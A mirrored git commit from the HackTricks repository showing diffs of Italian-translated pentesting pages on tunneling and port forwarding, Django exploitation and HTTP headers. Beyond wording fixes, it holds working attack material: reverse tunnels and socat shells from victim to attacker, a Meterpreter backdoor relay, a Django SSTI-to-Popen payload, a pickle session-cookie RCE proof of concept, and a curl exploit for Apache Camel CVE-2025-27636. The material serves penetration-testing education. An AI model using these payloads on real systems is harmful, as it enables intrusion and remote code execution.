mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
5d4c3d124f
commit
ff9889d627
@ -1,11 +1,11 @@
|
||||
# Tunneling and Port Forwarding
|
||||
# Tunneling e Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Nmap tip
|
||||
## Suggerimento Nmap
|
||||
|
||||
> [!WARNING]
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **TCP scans** (`-sT`) affinché questo funzioni.
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Porta locale --> Host compromesso (SSH) --> Terza_box:Port
|
||||
Porta locale --> Host compromesso (SSH) --> Terza_cassa:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Sicurezza – Attacco Terrapin (CVE-2023-48795)**
|
||||
> L'attacco di downgrade Terrapin del 2023 può consentire a un attaccante man-in-the-middle di manomettere l'inizializzazione SSH e iniettare dati in **qualsiasi canale inoltrato** ( `-L`, `-R`, `-D` ). Assicurati che sia il client che il server siano aggiornati (**OpenSSH ≥ 9.6/LibreSSH 6.7**) o disabilita esplicitamente gli algoritmi vulnerabili `chacha20-poly1305@openssh.com` e `*-etm@openssh.com` in `sshd_config`/`ssh_config` prima di fare affidamento sui tunnel SSH. citeturn4search0
|
||||
> L'attacco di downgrade Terrapin del 2023 può consentire a un attaccante man-in-the-middle di manomettere l'inizializzazione SSH e iniettare dati in **qualsiasi canale inoltrato** ( `-L`, `-R`, `-D` ). Assicurati che sia il client che il server siano aggiornati (**OpenSSH ≥ 9.6/LibreSSH 6.7**) o disabilita esplicitamente gli algoritmi vulnerabili `chacha20-poly1305@openssh.com` e `*-etm@openssh.com` in `sshd_config`/`ssh_config` prima di fare affidamento sui tunnel SSH.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
Ad esempio, inoltrando tutto il traffico verso 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -231,7 +231,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
|
||||
# Display the currently running listeners on the agent -- Attacker
|
||||
listener_list
|
||||
```
|
||||
### Accedi alle porte locali dell'agente
|
||||
### Accesso alle porte locali dell'agente
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
|
||||
@ -242,7 +242,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Tunnel inverso. Il tunnel viene avviato dalla vittima.\
|
||||
Viene creato un proxy socks4 su 127.0.0.1:1080
|
||||
Un proxy socks4 viene creato su 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### Meterpreter tramite SSL Socat
|
||||
### Meterpreter attraverso SSL Socat
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -294,7 +294,9 @@ Puoi bypassare un **proxy non autenticato** eseguendo questa riga invece dell'ul
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
### SSL Socat Tunnel
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### Tunnel SSL Socat
|
||||
|
||||
**/bin/sh console**
|
||||
|
||||
@ -314,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
||||
```
|
||||
### Remote Port2Port
|
||||
|
||||
Collegare la porta SSH locale (22) alla porta 443 dell'host attaccante
|
||||
Collega la porta SSH locale (22) alla porta 443 dell'host attaccante
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
@ -348,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
È necessario avere **accesso RDP al sistema**.\
|
||||
Scarica:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti attraverso la connessione RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
@ -358,7 +360,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connettersi** tramite **RDP** e caricare ed eseguire nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -366,7 +368,7 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare il proxy del traffico attraverso quella porta.**
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare da proxy al traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
@ -385,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autenticandosi contro un proxy, crea un binding di una porta localmente che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Autenticandosi contro un proxy, crea un collegamento a una porta locale che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Ad esempio, inoltra la porta 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -407,7 +409,7 @@ Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/mic
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -572,11 +574,11 @@ Inizia il connettore:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL in ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile. citeturn1search0
|
||||
Perché tutto il traffico esce dall'host **in uscita su 443**, i tunnel Cloudflared sono un modo semplice per bypassare le ACL in ingresso o i confini NAT. Tieni presente che il binario di solito viene eseguito con privilegi elevati – utilizza contenitori o il flag `--user` quando possibile.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) è un reverse-proxy in Go attivamente mantenuto che supporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partire da **v0.53.0 (Maggio 2024)** può fungere da **SSH Tunnel Gateway**, quindi un host di destinazione può avviare un tunnel inverso utilizzando solo il client OpenSSH di base – nessun binario extra richiesto.
|
||||
[`frp`](https://github.com/fatedier/frp) è un reverse-proxy Go attivamente mantenuto che supporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partire da **v0.53.0 (Maggio 2024)** può fungere da **SSH Tunnel Gateway**, quindi un host di destinazione può avviare un tunnel inverso utilizzando solo il client OpenSSH di base – nessun binario extra richiesto.
|
||||
|
||||
### Tunnel TCP inverso classico
|
||||
```bash
|
||||
@ -606,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Il comando sopra pubblica la porta della vittima **8080** come **attacker_ip:9000** senza implementare alcun strumento aggiuntivo – ideale per il pivoting living-off-the-land. citeturn2search1
|
||||
Il comando sopra pubblica la porta della vittima **8080** come **attacker_ip:9000** senza implementare alcun strumento aggiuntivo – ideale per il pivoting living-off-the-land.
|
||||
|
||||
## Altri strumenti da controllare
|
||||
|
||||
|
@ -5,8 +5,75 @@
|
||||
## Manipolazione della Cache per RCE
|
||||
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
|
||||
|
||||
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore di attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
|
||||
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
|
||||
|
||||
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Iniezione di Template lato Server (SSTI)
|
||||
Il Django Template Language (DTL) è **Turing-completo**. Se i dati forniti dall'utente vengono resi come una *stringa di template* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuove l'auto-escaping), un attaccante può ottenere SSTI completo → RCE.
|
||||
|
||||
### Rilevamento
|
||||
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includano *qualsiasi* dato di richiesta non sanitizzato.
|
||||
2. Invia un payload basato su tempo o aritmetico:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Se l'output reso contiene `49`, l'input è compilato dal motore di template.
|
||||
|
||||
### Primitiva a RCE
|
||||
Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Trova l'indice di `subprocess.Popen` (≈400–500 a seconda della build di Python) ed esegui comandi arbitrari:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
|
||||
|
||||
Lo stesso gadget funziona per le funzionalità di rendering dei template di **Debug Toolbar** o **Django-CMS** che gestiscono male l'input dell'utente.
|
||||
|
||||
---
|
||||
|
||||
## RCE da Cookie di Sessione Basato su Pickle
|
||||
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
|
||||
|
||||
### Requisiti per l'Exploit
|
||||
* Il server utilizza `PickleSerializer`.
|
||||
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leak tramite GitHub, `.env`, pagine di errore, ecc.).
|
||||
|
||||
### Prova di Concetto
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
|
||||
|
||||
**Mitigazioni**: Mantieni il `JSONSerializer` predefinito, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
|
||||
* **CVE-2025-48432** – *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalla quotazione ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||||
|
||||
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
* Rilascio di sicurezza Django – "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" – 4 giu 2025.
|
||||
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" – 11 ago 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -59,7 +59,7 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
- **`X-Cache`** nella risposta può avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache
|
||||
- Comportamento simile nell'header **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** indica se una risorsa è memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave di cache** anche se normalmente non sono chiave.
|
||||
- **`Vary`** è spesso usato nella risposta per **indicare header aggiuntivi** che sono trattati come **parte della chiave della cache** anche se normalmente non sono chiave.
|
||||
- **`Age`** definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** indica anche che una risorsa è stata memorizzata nella cache
|
||||
|
||||
@ -82,7 +82,7 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
|
||||
## Range requests
|
||||
|
||||
- **`Accept-Ranges`**: Indica se il server supporta le richieste di intervallo e, in tal caso, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Accept-Ranges`**: Indica se il server supporta richieste di intervallo e, in tal caso, in quale unità l'intervallo può essere espresso. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Indica la parte di un documento che il server dovrebbe restituire. Ad esempio, `Range:80-100` restituirà i byte da 80 a 100 della risposta originale con un codice di stato di 206 Contenuto Parziale. Ricorda anche di rimuovere l'header `Accept-Encoding` dalla richiesta.
|
||||
- Questo potrebbe essere utile per ottenere una risposta con codice JavaScript riflesso arbitrario che altrimenti potrebbe essere sfuggito. Ma per abusare di questo dovresti iniettare questi header nella richiesta.
|
||||
- **`If-Range`**: Crea una richiesta di intervallo condizionale che viene soddisfatta solo se l'etag o la data forniti corrispondono alla risorsa remota. Usato per prevenire il download di due intervalli da versioni incompatibili della risorsa.
|
||||
@ -93,13 +93,13 @@ Un header hop-by-hop è un header progettato per essere elaborato e consumato da
|
||||
- **`Content-Length`:** La dimensione della risorsa, in numero decimale di byte.
|
||||
- **`Content-Type`**: Indica il tipo di media della risorsa
|
||||
- **`Content-Encoding`**: Usato per specificare l'algoritmo di compressione.
|
||||
- **`Content-Language`**: Descrive la lingua umana o le lingue destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Language`**: Descrive la/e lingua/e umana/e destinate al pubblico, in modo che consenta a un utente di differenziare in base alla lingua preferita dell'utente.
|
||||
- **`Content-Location`**: Indica una posizione alternativa per i dati restituiti.
|
||||
|
||||
Dal punto di vista di un pentest, queste informazioni sono solitamente "inutili", ma se la risorsa è **protetta** da un 401 o 403 e riesci a trovare un **modo** per **ottenere** queste **info**, questo potrebbe essere **interessante.**\
|
||||
Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD può rivelare il contenuto della pagina tramite richieste HEAD:
|
||||
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che lo SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Una richiesta con l'header `Range: bytes=20-20` e con una risposta contenente `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` sta rivelando che il SHA1 del byte 20 è `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Server Info
|
||||
|
||||
@ -113,7 +113,7 @@ Ad esempio, una combinazione di **`Range`** e **`Etag`** in una richiesta HEAD p
|
||||
|
||||
## Downloads
|
||||
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Per esempio:
|
||||
- L'header **`Content-Disposition`** nelle risposte HTTP indica se un file dovrebbe essere visualizzato **inline** (all'interno della pagina web) o trattato come un **allegato** (scaricato). Ad esempio:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -179,8 +179,44 @@ Infine, HSTS è una funzione di sicurezza che costringe i browser a comunicare c
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definisce i nomi dei campi header come **case-insensitive** (RFC 9110 §5.1). Tuttavia, è molto comune trovare middleware personalizzati, filtri di sicurezza o logica aziendale che confrontano il nome dell'header *letterale* ricevuto senza normalizzare prima la capitalizzazione (ad esempio, `header.equals("CamelExecCommandExecutable")`). Se questi controlli vengono eseguiti **case-sensitively**, un attaccante può eluderli semplicemente inviando lo stesso header con una diversa capitalizzazione.
|
||||
|
||||
Situazioni tipiche in cui appare questo errore:
|
||||
|
||||
* Liste di autorizzazione/negazione personalizzate che cercano di bloccare header interni "pericolosi" prima che la richiesta raggiunga un componente sensibile.
|
||||
* Implementazioni interne di pseudo-header di reverse-proxy (ad esempio, sanificazione di `X-Forwarded-For`).
|
||||
* Framework che espongono endpoint di gestione / debug e si basano sui nomi degli header per l'autenticazione o la selezione dei comandi.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Identificare un header che viene filtrato o convalidato lato server (ad esempio, leggendo il codice sorgente, la documentazione o i messaggi di errore).
|
||||
2. Inviare lo **stesso header con una diversa capitalizzazione** (capitalizzazione mista o maiuscola). Poiché gli stack HTTP di solito canonizzano gli header solo *dopo* che il codice utente è stato eseguito, il controllo vulnerabile può essere saltato.
|
||||
3. Se il componente downstream tratta gli header in modo case-insensitive (la maggior parte lo fa), accetterà il valore controllato dall'attaccante.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
Nelle versioni vulnerabili di Apache Camel, i percorsi del *Command Center* cercano di bloccare richieste non attendibili rimuovendo gli header `CamelExecCommandExecutable` e `CamelExecCommandArgs`. Il confronto è stato effettuato con `equals()`, quindi solo i nomi esatti in minuscolo sono stati rimossi.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Le intestazioni raggiungono il componente `exec` non filtrate, risultando in un'esecuzione di comandi remoti con i privilegi del processo Camel.
|
||||
|
||||
### Rilevamento e Mitigazione
|
||||
|
||||
* Normalizza tutti i nomi delle intestazioni a un unico caso (di solito minuscolo) **prima** di eseguire confronti di autorizzazione/rifiuto.
|
||||
* Rifiuta duplicati sospetti: se sono presenti sia `Header:` che `HeAdEr:`, trattalo come un'anomalia.
|
||||
* Utilizza una lista di autorizzazione positiva applicata **dopo** la canonicalizzazione.
|
||||
* Proteggi gli endpoint di gestione con autenticazione e segmentazione della rete.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user